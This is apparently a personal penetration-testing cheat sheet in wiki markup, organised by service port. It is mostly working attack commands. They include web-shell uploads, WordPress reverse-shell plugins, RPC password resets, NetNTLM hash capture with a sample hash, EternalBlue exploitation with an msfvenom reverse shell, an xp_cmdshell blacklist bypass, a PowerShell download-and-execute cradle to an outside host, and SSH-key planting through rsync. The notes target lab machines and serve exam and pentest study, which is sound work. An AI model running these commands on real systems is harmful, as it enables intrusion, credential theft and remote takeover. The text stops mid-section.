&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
